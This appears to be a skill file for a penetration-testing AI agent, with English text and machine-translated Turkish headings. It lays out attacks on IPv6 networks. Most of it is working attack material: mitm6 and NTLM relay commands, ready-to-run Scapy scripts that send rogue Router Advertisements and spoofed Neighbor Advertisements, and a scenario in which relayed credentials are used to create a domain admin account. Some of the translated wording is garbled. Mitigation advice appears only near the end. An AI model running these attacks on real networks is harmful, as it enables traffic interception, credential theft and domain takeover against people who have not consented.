Exploiting Ipv6 Vulnerabilities

---
name: exploiting-ipv6-vulnerabilities
description: Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls
  and IPv6-aware network defenses.
tags:
- dual-stack-security
- router-advertisement
- ipv6
- network-security
- fetih
- cybersecurity
- slaac
- siber-güvenlik
triggers:
- IDS
- IPS
- authentication
- ağ güvenliği
- dns
- exploit
- exploiting
- firewall
- hash
- http
- ipv6
- network
category: network-security
source_subdomain: network-security
nist_csf:
- PR.IR-01
- DE.CM-01
- ID.AM-03
- PR.DS-02
adapted_for: fetih
---

# Exploiting Ipv6 Vulnerabilities


## Ne Zaman Kullanılır

- Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic
- Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported
- Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6
- Testing IPv6-aware firewall rules and IDS/IPS Tespit for IPv6-specific attack patterns
- Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls

**Kullanma:** on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.

## Ön Gereksinimler

- Written authorization specifying IPv6 testing scope and approved techniques
- Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed
- Network interface with IPv6 support on the target network segment
- Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements
- Wireshark for capturing and analyzing IPv6 traffic

## İş Akışı

### Adım 1: Enumerate IPv6 on the Network

```bash
ip -6 addr show

ping6 -c 3 ff02::1%eth0

sudo alive6 eth0

nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'

sudo radvdump

sudo dhclient -6 -v eth0 --request-only
```

### Adım 2: Perform SLAAC-Based MITM Attack with mitm6

```bash

sudo mitm6 -d example.com -i eth0


sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

```

### Adım 3: Router Advertisement Spoofing

```python
#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""

from scapy.all import *
from scapy.layers.inet6 import *


iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # All-nodes multicast
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # Advertise as router for 30 min
        prf=1,                   # High preference
        M=0,                     # No managed flag (use SLAAC)
        O=1                      # Other config via DHCPv6 (DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # Rogue prefix
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # Attacker as DNS server
        lifetime=1800
    )
)

print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")
```

### Adım 4: IPv6 Neighbor Discovery Attacks

```bash
sudo parasite6 eth0

python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

target_ipv6 = "2001:db8::50"    # Victim IPv6 address
gateway_ipv6 = "2001:db8::1"    # Gateway IPv6 address
attacker_mac = get_if_hwaddr("eth0")

na = (
    Ether(dst="33:33:00:00:00:01") /
    IPv6(src=gateway_ipv6, dst="ff02::1") /
    ICMPv6ND_NA(
        tgt=gateway_ipv6,
        R=1, S=0, O=1  # Router flag, Override flag
    ) /
    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)

print("[*] Sending spoofed Neighbor Advertisements...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF

sudo ndpmon -i eth0
```

### Adım 5: IPv6 Tunnel Tespit and Exploitation

```bash
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst

sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst

sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10

nmap -6 -sU -p 3544 --open 10.10.0.0/24

curl -6 http://[2001:db8::50]:8080/  # Access via IPv6 tunnel

sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
```

### Adım 6: Test IPv6 Firewall Rules and Document

```bash
sudo ip6tables -L -n -v

nmap -6 -sS -p- <target_ipv6_address>

nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)


sudo killall mitm6 parasite6 2>/dev/null
```

## Key Concepts

| Term | Definition |
|------|------------|
| **SLAAC (Stateless Address Autoconfiguration)** | IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection |
| **Router Advertisement (RA)** | ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks |
| **NDP (Neighbor Discovery Protocol)** | IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address Tespit; vulnerable to spoofing |
| **mitm6** | Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay |
| **RA Guard** | Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers |
| **IPv6 Tunneling** | Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls |

## Tools & Systems

- **mitm6**: IPv6 MITM tool that exploits SLAAC and DHCPv6 to become the DNS server for Windows hosts
- **THC-IPv6 Toolkit**: Comprehensive IPv6 attack toolkit including alive6, parasite6, fake_router6, and flood tools
- **Scapy**: Python packet manipulation for crafting custom ICMPv6 Router Advertisements and Neighbor Discovery packets
- **ndpmon**: IPv6 Neighbor Discovery Protocol monitor that tespit etme (s) rogue RAs and NDP spoofing
- **Nmap**: Network scanner with full IPv6 support including multicast discovery and IPv6-specific scripts

## Common Scenarios

### Scenario: Exploiting Unmanaged IPv6 on an IPv4-Only Enterprise Network

**Context**: A company officially only uses IPv4 on their corporate network, but Windows workstations have IPv6 enabled by default. During an internal penetration test, the tester discovers that IPv6 is active on the VLAN and no IPv6 security controls (RA Guard, IPv6 ACLs) are Dağıtılmış.

**Approach**:
1. Discover that all Windows workstations have link-local IPv6 addresses and are listening for Router Advertisements
2. Run mitm6 to send DHCPv6 responses, becoming the IPv6 DNS server for all Windows hosts on the VLAN
3. Configure ntlmrelayx to relay WPAD-triggered NTLM authentication to the domain controller
4. Within 5 minutes, capture and relay NTLM credentials from 12 workstations, gaining Erişim: file shares
5. Successfully relay a domain admin's NTLM hash to Şunu oluştur: new domain admin account
6. Document that the lack of IPv6 security controls enabled full domain compromise without exploiting any traditional vulnerability
7. Recommend disabling IPv6 where not needed, Dağıt:ing RA Guard on switches, and blocking DHCPv6 at the firewall

**Pitfalls**:
- Flooding the network with Router Advertisements can cause instability on some devices
- mitm6 affects all Windows hosts on the VLAN, not just the target -- ensure scope covers all potentially affected hosts
- Some environments have IPv6-dependent services (SCCM, certain Azure services) that break when IPv6 is disrupted
- Forgetting to check for IPv6 tunneling protocols that could provide alternative attack paths

## Output Format

```
## IPv6 Security Assessment Report

**Test ID**: IPV6-2024-001
**Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6)
**Assessment Date**: 2024-03-15

### IPv6 Discovery

| Bul:ing | Details |
|---------|---------|
| IPv6 Enabled Hosts | 147/150 workstations (Windows default) |
| Link-Local Addresses | Active on all discovered hosts |
| Router Advertisements | None Detected (no IPv6 router) |
| DHCPv6 Server | None present |
| RA Guard | NOT configured on switches |
| IPv6 Firewall Rules | NONE (ip6tables empty) |

### Attack Results

| Attack | Result | Impact |
|--------|--------|--------|
| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |
| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |
| Domain Admin Relay | SUCCESS | Created rogue domain admin account |
| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |

### Öneriler
1. Dağıt: RA Guard on all access-layer switches (Critical)
2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)
3. Disable DHCPv6 client via Group Policy where IPv6 is not needed
4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall
5. Dağıt: IPv6-aware IDS rules for NDP spoofing Tespit
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: c6ff1265224b3455
-->